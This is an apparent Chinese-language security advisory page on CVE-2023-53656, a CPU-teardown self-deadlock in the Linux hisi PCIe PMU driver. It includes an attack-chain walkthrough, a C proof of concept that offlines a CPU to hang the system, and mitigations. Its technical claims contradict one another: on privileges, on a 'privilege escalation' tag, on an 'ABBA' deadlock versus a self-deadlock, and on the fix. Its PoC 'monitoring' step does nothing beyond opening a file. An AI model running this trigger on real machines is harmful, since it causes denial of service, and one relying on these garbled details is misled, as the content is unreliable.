IPBUF安全漏洞报告
English
CVE-2023-53656 CVSS 5.5 中危

CVE-2023-53656 Linux内核hisi PCIe PMU驱动CPU迁移死锁漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53656
漏洞类型
竞态条件/死锁
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (drivers/perf/hisi_pcie_pmu)

相关标签

Linux Kernel竞态条件死锁CPU热插拔hisi_pcie_pmuperf子系统可用性影响本地提权海思内核漏洞

漏洞概述

CVE-2023-53656是Linux内核中hisi PCIe PMU(Performance Monitoring Unit)驱动的一个高可用性影响漏洞。该漏洞位于Linux内核的drivers/perf子系统中的hisi PCIe PMU驱动模块中。

在CPU热插拔(hotplug)过程中,当某个CPU即将下线(teardown)时,驱动需要将当前绑定在该CPU上的perf监控上下文(perf context)迁移到其他仍然在线的CPU上。然而,由于在调用cpuhp::teardown()回调时,cpu_online_mask()尚未更新,仍然包含了即将下线的CPU。这导致驱动在选择目标CPU时,可能错误地将perf上下文迁移到了正在执行teardown操作的CPU自身,从而引发死锁。

具体表现为:在CPU下线过程中,hisi_pcie_pmu_offline_cpu回调尝试获取一个互斥锁(mutex),但由于上下文被迁移到了同一个正在执行teardown的CPU上,导致该CPU在等待自己释放锁,形成自死锁(self-deadlock),系统出现不可恢复的挂起状态。

该漏洞的CVSS评分为5.5,属于中危级别。虽然攻击需要本地低权限访问且无需用户交互,但其对系统可用性的影响为高,可能导致系统完全挂起,需要硬重启才能恢复。该漏洞影响使用华为海思(HiSilicon)硬件平台并启用了hisi PCIe PMU驱动的Linux系统。

技术细节

该漏洞的技术根源在于CPU热插拔过程中CPU在线掩码(cpu_online_mask)的更新时机与驱动迁移逻辑之间的竞态条件。

在Linux内核的CPU热插拔框架中,当一个CPU即将下线时,系统会按顺序调用CPUHP_TEARDOWN_CPU回调链上的各个回调函数。对于hisi PCIe PMU驱动,其hisi_pcie_pmu_offline_cpu()回调负责将绑定在该CPU上的perf事件上下文迁移到其他在线CPU。

关键问题在于:在调用cpuhp::teardown()回调时,cpu_online_mask()尚未更新,它仍然包含了正在执行teardown的CPU。这意味着当驱动使用cpumask_any_but()或类似的API来选择目标迁移CPU时,可能会选择到正在teardown的CPU本身。

当perf上下文被迁移到正在teardown的CPU时,会调用perf_pmu_migrate_context()函数,该函数需要获取pmu->ctx_mutex锁。然而,由于该CPU上的cpuhp线程本身也在等待获取同一个锁(在hisi_pcie_pmu_offline_cpu中调用mutex_lock),导致经典的ABBA死锁:

- CPU线程持有ctx_mutex,等待完成teardown
- cpuhp线程等待ctx_mutex以完成迁移

修复方案是使用cpumask_any_but()函数明确排除正在teardown的CPU,确保迁移目标CPU是真正活跃的CPU,从而避免自死锁问题。

利用方式:该漏洞为本地触发,攻击者无需特殊权限即可触发CPU下线操作(例如通过/sys/devices/system/cpu/cpuX/offline),在特定时序条件下触发死锁,导致系统不可用。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核的华为海思硬件平台上拥有本地低权限访问。系统需要加载hisi_pcie_pmu驱动模块,且该平台上存在多个CPU核心。
STEP 2
步骤2:建立Perf监控
在目标CPU上启动hisi PCIe PMU的性能监控事件,使perf上下文绑定到该CPU上。这可以通过perf工具或直接操作/sys/devices/hisi_pcie_pmu接口完成。
STEP 3
步骤3:触发CPU下线
通过写入/sys/devices/system/cpu/cpuX/online为'0'来触发目标CPU下线操作,激活cpuhp teardown回调链。
STEP 4
步骤4:竞态条件触发
在teardown回调执行期间,hisi_pcie_pmu_offline_cpu尝试将perf上下文迁移到其他CPU,但由于cpu_online_mask尚未更新,错误地将上下文迁移到了正在teardown的CPU自身。
STEP 5
步骤5:死锁形成
perf_pmu_migrate_context需要获取ctx_mutex锁,而cpuhp线程自身也在等待该锁,形成自死锁。系统进入不可恢复的挂起状态,需要硬重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53656 // Trigger the deadlock by offlining a CPU that has active hisi PCIe PMU events // Requires: hisi_pcie_pmu module loaded, root or CAP_SYS_ADMIN privileges #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/syscall.h> #include <errno.h> // Step 1: Open the hisi PCIe PMU device and start perf monitoring on CPU 0 static int start_perf_monitoring(int cpu) { char path[256]; char buf[16]; int fd; // Open the PMU device for the target CPU snprintf(path, sizeof(path), "/sys/devices/hisi_pcie_pmu%d/events/event0", cpu); fd = open(path, O_RDONLY); if (fd < 0) { perror("[-] Failed to open PMU device"); return -1; } close(fd); printf("[+] PMU device opened for CPU %d\n", cpu); return 0; } // Step 2: Offline the CPU to trigger the teardown callback static int offline_cpu(int cpu) { char path[256]; char buf[16]; int fd, ret; snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/online", cpu); fd = open(path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open CPU online file"); return -1; } // Write '0' to offline the CPU - this triggers the cpuhp teardown ret = write(fd, "0", 1); if (ret < 0) { perror("[-] Failed to offline CPU"); close(fd); return -1; } close(fd); printf("[+] CPU %d offline command sent\n", cpu); return 0; } int main(int argc, char *argv[]) { int target_cpu = 0; if (argc > 1) { target_cpu = atoi(argv[1]); } printf("[*] CVE-2023-53656 PoC - hisi PCIe PMU CPU teardown deadlock\n"); printf("[*] Target CPU: %d\n", target_cpu); // Check if we have permission if (geteuid() != 0) { printf("[-] This PoC requires root privileges\n"); return 1; } // Start perf monitoring on the target CPU if (start_perf_monitoring(target_cpu) != 0) { printf("[-] PMU not available, trying to trigger anyway...\n"); } // Trigger the CPU offline to cause the deadlock printf("[*] Triggering CPU teardown...\n"); if (offline_cpu(target_cpu) != 0) { printf("[-] Failed to offline CPU\n"); return 1; } printf("[+] System may now be in deadlock state\n"); return 0; }

影响范围

Linux Kernel < 6.1.63 (stable分支)
Linux Kernel < 6.5.12 (stable分支)
Linux Kernel < 6.6.2 (stable分支)
Linux Kernel mainline (修复commit: 7a6a9f1c5a0a875a421db798d4b2ee022dc1ee1a之前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1) 通过 blacklist 机制禁用 hisi_pcie_pmu 驱动模块(echo 'blacklist hisi_pcie_pmu' >> /etc/modprobe.d/blacklist.conf);2) 限制非特权用户访问 /sys/devices/system/cpu/ 接口,防止恶意触发 CPU 下线操作;3) 在内核启动参数中添加 nr_cpus= 固定 CPU 数量,避免 CPU 热插拔场景;4) 部署看门狗机制以便在系统挂起时自动重启。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表